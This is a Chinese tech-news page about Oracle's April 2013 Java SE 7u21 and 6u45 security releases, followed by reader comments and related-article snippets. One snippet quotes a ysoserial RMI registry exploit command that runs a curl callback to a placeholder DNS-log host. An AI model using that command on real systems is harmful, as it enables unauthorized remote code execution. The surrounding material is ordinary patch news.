资讯频道 → 编程语言
阅读更多

8顶
0踩

编程语言

原创新闻 Java 7u21 和 6u45 发布，修复安全漏洞

2013-04-17 10:53 by 副主编 wangguo 评论(5) 有11243人浏览
java javafx jdk 甲骨文 applet

声明：ITeye资讯文章的版权属于ITeye网站所有，严禁任何网站转载本文，否则必将追究法律责任！

甲骨文公司今天针对Java SE平台发布了4月份安全补丁集，共提供了42个安全漏洞修复补丁，其中有39个补丁用于修复无需验证的远程利用漏洞。

甲骨文公司还发布了Java SE的3个更新版本——Java SE 7u21、Java SE 6u45和Java SE Embedded 7u21。


Java SE 7u21

该版本包含了一些新的功能，并修复了安全漏洞，主要如下：

  • JAR黑名单和证书：甲骨文公司现在管理着一个jar黑名单和证书库，该数据会在客户端上首次执行Java applet或启动web应用时进行更新。
  • 更改了Java控制面板中的安全设置，确保本地applet运行在一个安全的JRE上。
  • 安全对话框：在该版本中，在特权applet内部调用代码的JavaScript代码将被为混合代码，并会在JAR文件没有被标上Trusted-Library（受信任库）属性时弹出警告对话框。
  • 该版本中，RMI属性java.rmi.server.useCodebaseOnly默认为true，之前版本为false。
  • 新增了一个Server JRE包，包含了用于服务器部署的常用工具，专门针对在服务器环境中部署Java运行时。
  • 支持Linux on ARM，处理器包括ARMv6和ARMv7。但目前不支持Java WebStart、Java Plug-In、Garbage First (G1) Collector、JavaFX SDK或JavaFX运行时等特性。
  • 更改了Runtime.exec
Java SE 6u45

甲骨文之前一直声称Java SE 6已经终结，将不会再提供该分支的公共更新，但由于安全漏洞肆虐，该公司再次食言，发布了Java SE 6 Update 45版本，相信该版本也不会是Java 6的最后一个版本。

详细信息：https://blogs.oracle.com/java/entry/java_se_7_update_21

下载地址：http://www.oracle.com/technetwork/java/javase/downloads/index.html
8
顶
0
踩
评论 共 5 条 请登录后发表评论
5 楼 aegean008 2013-05-29 17:53
自从增加了注解，java变得复杂臃肿了
4 楼 if(i!=我){} 2013-04-19 01:48
不是说不更新了么
3 楼 Alex丿 2013-04-18 21:33
Java8何在？
2 楼 blackstreet 2013-04-17 17:19
jdk怎么长的,之前还是17,现在21??
1 楼 weng 2013-04-17 12:26
Java6

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • java代码审计和安全漏洞修复

    java代码审计和安全漏洞修复

  • 【总结】安全漏洞组件升级修复问题集群

    最近在搞系统安全漏洞组件修复的工作，项目是用springboot大件的，用到了很多第三方组件包，通过安全扫描软件时，报了很多组件存在安全漏洞。于是很多组件只能硬着头皮升级，升级后，遇到了很多编译启动问题，项目...

  • java jdk1.6.0 29 b11_Java SE 6 Update 29发布 修复重大漏洞

    【IT168资讯】Java SE 是Java平台标准版的简称(Java Platform, Standard Edition) (also known as Java 2 Platform) ，用于开发和部署桌面、服务器以及嵌入设备和实时环境中的Java应用程序。Java SE包括用于开发Java...

  • rmi反序列化导致rce漏洞修复_记一次Java反序列化漏洞的发现和修复

    作者：bit4@勾陈安全0x00 背景简介本文是自己对一次反序列化漏洞的发现和修复过程，如有错误请斧正，大神请轻喷。目标应用系统是典型的CS模式。客户端是需要安装的windows桌面程序，但是它是大部分内容都是基于Java...

  • java se 6u111_Java SE 6u15更新版本发布 修复重大安全问题

    来自Sun的最新消息：Java SE6u15更新版本发布。此次主要修复的是安全问题。本次更新原本于7月底发布，后来经Sun收回了几日，于8月4日又重新发布。导致此次更新的安全漏洞与基于HMAC的XML数字签名验证有关，具体描述...

  • java rmi反序列化安全漏洞问题解决方案

    1、关闭javarmi服务的端口在公网的开放； 2、下载SerialKiller临时补丁，这个jar后放置于classpath，将应用代码中的java.io.ObjectInputStream替换为SerialKiller，之后配置让其能够允许或禁用一些存在问题的类，...

  • Centos7系统安全漏洞及修复方案

    以下所有漏洞均为Centos7的系统漏洞修复，为离线内网环境；某些服务由Docker镜像部署。 1、Docker Remote API 未授权访问漏洞【原理扫描】 详细描述 Docker是一个开源的应用容器引擎，让开发者...

  • 运维常见服务安全漏洞修复建议

    运维常见服务安全漏洞修复建议

  • [Java反序列化]JDK7u21反序列化链学习

    所以相对来说的可以认为是，JDK7u21这个版本以及之前时间发布的所有Java版本都有问题，之后的JDK6可能在某一段时间仍有问题，具体也不考究了。 <properties> <maven.compiler.source>7</maven....

  • Java 8 Update 45 (8u45)

    从 JDK 8u45 发行版开始，在新建 zip 及 jar 文件和/或从这些文件提取时，jar 工具不再允许在 zip 条目文件名中使用前导斜杠 "/" 和 ".."（两个点）路径组成部分。如果需要，应明确地使用新命令行选项 "-P" 来保留两...

  • Java反射库中的安全漏洞修复

    安全组织Security Explorations发现了Java 7u25中的一个安全漏洞，通过这个漏洞攻击者可以完全摆脱Java沙箱。Oracle在更新的7u40中包含了一个补丁，但是据Security Explorations 在今年早些时候声称，这个补丁仅仅在...

  • JDK 7u9和6u37发布，修复重要安全漏洞

    甲骨文今天发布了JDK 7的第9个更新版本。...该版本主要修复了之前爆出的一些安全漏洞，集成了甲骨文10月份的安全补丁。甲骨文强烈建议所有的Java SE 7用户升级至该版本。 在该版本中捆绑了JavaF...

  • Java RMI Registry 反序列化漏洞(＜=jdk8u111)

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 CommonsCollections6 "curl your-dnslog-server" 然后刷新dnslog 好兄弟们你们看懂了吗?反正我没懂 ...

  • Java当中更改源码/修复CVE-2016-1000027漏洞分析

    本质上来说就是创建一个和HttpInvokerServiceExporter.class内容相同的HttpInvokerServiceExporter.java的文件,然后在handleRequest中去除那段多余的代码,然后将HttpInvokerServiceExporter.java文件生成一个新的....

  • Web安全--反序列化漏洞（java篇）

    java反序列化参考

  • Java相关框架漏洞

    文章目录 Fastjson Fastjson简介 历史漏洞 FastJson 漏洞发现 Json认识 FastJson寻找 FastJson报错识别 FastJson漏洞发现 漏洞利用 FastJson1.2.47反序列化漏洞 漏洞概述 影响版本 漏洞环境 漏洞检测 JNDI注入 + RMI...

  • 2021年12月报Log4j1.2网络安全漏洞排查和修复建议

    2021年12月报Log4j1.2网络安全漏洞排查和修复建议。

  • java 漏洞 项目用了危险的方法_java开发安全策略_风险漏洞与解决方案

    项目语言：java项目环境：JDK1.8Web服务器Nginx+tomcat数据库mysql前端技术bootstrap+layui+jquery+ajax后端技术maven+springboot+shiro+jpa+druid+log4j1、 敏感信息泄露a) 漏洞描述：敏感信息泄露漏洞，是一种通过...

  • 『Java安全』Struts2 2.1.8.1 参数名OGNL注入漏洞S2-005(S2-003修复绕过)复现与浅析

    文章目录 漏洞简介 影响范围 漏洞复现 环境配置 复现过程 代码审计 流程 开发者的疏忽——再次绕过：通杀利用 修复 参考 完 漏洞简介 S2-005是S2-003的绕过，xwork更新到2.1.6版本；005新增了SecurityMamberAccess...

  • Java 8 Update 241 (8u241)

    JDK 8u241 包含 IANA 时区数据版本 2019c。有关详细信息，请参阅 JRE 软件中的时区数据版本。 新功能：允许限制 SASL 机制 现在添加了名为 jdk.sasl.disabledMechanisms 的安全属性，它可用于禁用 SASL 机制。如果在...

Global site tag (gtag.js) - Google Analytics